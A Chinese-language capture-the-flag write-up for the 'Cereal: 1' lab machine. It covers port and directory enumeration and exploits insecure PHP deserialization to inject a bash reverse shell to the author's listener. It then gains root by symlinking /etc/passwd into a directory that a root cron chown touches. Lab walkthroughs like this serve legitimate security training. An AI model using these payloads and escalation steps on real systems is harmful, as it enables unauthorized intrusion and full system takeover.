0x01 靶机信息
- Name:Cereal: 1
- 发布日期:2021 年 5 月 29 日
- 作者:Thomas Williams
- 系列:Cereal
- 难度:困难
- 简介:这台机器与我的普通机器有很大不同。它可能更现实,不像 CTF。不过,我将停止对我的盒子进行评分,因为对一个人来说困难的事情对另一个人来说很容易,反之亦然。如果您发现这很困难,请不要犹豫。这只是每个人都会在某个时刻跨越的学习步骤。不过这个盒子可能很难——它肯定不适合初学者。我希望你能学到新东西。慢慢来。要有耐心。打开初始 shell 后,请花时间了解环境。
- 下载链接:https://cloud.caerdydd.wales/index.php/s/ArtHGJGANbXZ93y
- MD5:4DC3290F476587297C05D86370C5EF1A
- 网络:DHCP自动分配
0x02 Write-Up
2.1 信息收集
2.1.1 主机扫描
靶机IP:192.168.181.170
使用nmap工具扫描
nmap -sS -Pn -p- -A -T4 192.168.181.170
-sS 隐蔽扫描,-Pn 禁Ping,-p- 所有端口,-A 综合扫描,-T4 快速扫描
扫描结果中出现了非常多的端口:21、22、80、3306、44441和一些非正常端口
2.1.2 访问ftp
在ftp中可以匿名登录,但是没有其他发现
2.1.3 访问http
在扫描结果中80和44441都是http端口,首先访问80
80是一个测试页面
44441是一个未完成的页面
2.1.4 ffuf枚举网站路径
首先对默认端口80的网页进行遍历扫描
ffuf -c -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://192.168.181.170/FUZZ -e .html,.php -fs 426975
-c 使用颜色区分状态码
-w 设置字典
-u指定url
-e 指定扩展名
-fs 忽略为该大小的响应包
扫描发现admin和blog目录
在blog目录中我们发现了域名cereal.ctf
admin目录是一个登录框
修改hosts
使用域名访问网页发现并没有变化
2.1.5 gobuster枚举子域名
gobuster vhost -u cereal.ctf -w /usr/share/wordlists/amass/subdomains-top1mil-5000.txt --append-domain true
vhost虚拟主机模式,类似于dir的遍历,-w指定字典,--append-domain模式启用(用于增加前缀的遍历方式)
发现子域名secure.cereal.ctf:44441
在hosts文件内添加解析后访问
可以看到是一个ping test页面
2.1.6 反序列化
在我尝试命令执行的时候反馈失败了,截包中发现传递了一个序列化
url解码后,obj=O:8:"pingTest":1:{s:9:"ipAddress";s:6:"whoami";}
查看一下源代码,发现引用的另一个页面http://secure.cereal.ctf:44441/php.js
这是一个可以序列化输入的脚本
2.2 渗透路线
我们需要寻找一个序列化如何构造的文件
使用更大的字典,利用ffuf扫描
ffuf -c -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt -u http://secure.cereal.ctf:44441/FUZZ
-c 使用颜色区分状态码
-w 设置字典
-u指定url
扫描到back_en目录
在这个目录下针对文件再次扫描
ffuf -c -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://secure.cereal.ctf:44441/back_en/FUZZ -e .bak,.html,.php
-c 使用颜色区分状态码
-w 设置字典
-u指定url
-e 指定扩展名
扫描到index.php.bak文件
查看源代码
<?php
class pingTest {
public $ipAddress = "127.0.0.1";
public $isValid = False;
public $output = "";
function validate() {
if (!$this->isValid) {
if (filter_var($this->ipAddress, FILTER_VALIDATE_IP))
{
$this->isValid = True;
}
}
$this->ping();
}
public function ping()
{
if ($this->isValid) {
$this->output = shell_exec("ping -c 3 $this->ipAddress");
}
}
}
if (isset($_POST['obj'])) {
$pingTest = unserialize(urldecode($_POST['obj']));
} else {
$pingTest = new pingTest;
}
$pingTest->validate();
上面的含义是有一个主体参数“obj”,如果传输带有obj就反序列化,如果没有创建一个新的pingTest
在pingTest的定义中,首先会判断isValid的值,然后会判断是不是IP,如果是的话就是True,默认isValid是False。如果通过判断会运行ping,然后执行shell命令。
所以我们只要发送isValid是True,跳过if语句,然后拼接命令就可以了。
2.2.1 利用反序列化反弹shell
构建脚本生成语句
<?php
class pingTest {
public $ipAddress = " ; bash -c 'bash -i >& /dev/tcp/192.168.181.136/4444 0>&1'";
public $isValid = True; }
echo urlencode(serialize(new pingTest));
?>
O%3A8%3A%22pingTest%22%3A2%3A%7Bs%3A9%3A%22ipAddress%22%3Bs%3A58%3A%22+%3B+bash+-c+%27bash+-i+%3E%26+%2Fdev%2Ftcp%2F192.168.181.136%2F4444+0%3E%261%27%22%3Bs%3A7%3A%22isValid%22%3Bb%3A1%3B%7D
在本地开启侦听
nc -nlvp 4444
回到ping test页面,将我们构造的参数与之对换
反弹成功
2.2.2 升级shell
SHELL=bash script -q /dev/null
但本地其他提权信息查找无果
2.2.3 利用pspy64s脚本获取更多信息
本地开启http服务
python3 -m http.server 80
下载文件
wget http://192.168.181.136/pspy64s
增加执行权限并执行
chmod +x pspy64s
./pspy64s
发现了一个以root用户执行的一个chown脚本
chown rocky:apache /home/rocky/public_html/*
改变/home/rocky/public_html目录下文件和目录的拥有者与所属组
其中一个所属组是我们用户的组
这个脚本本身我们是无法修改的
2.2.4 利用链接的属性获得权限
因为更改链接文件的所有者会更改原文件的拥有者,passwd文件的组是有写权限的,所以我们直接链接passwd文件
ln -s /etc/passwd /home/rocky/public_html/passwd
脚本执行成功,在pspy64s脚本中可以发现,命令每十分钟执行一次
修改passwd文件,将root用户密码删除
2.2.5 提权root成功
登录root
su - root
获得root flag
获得用户flag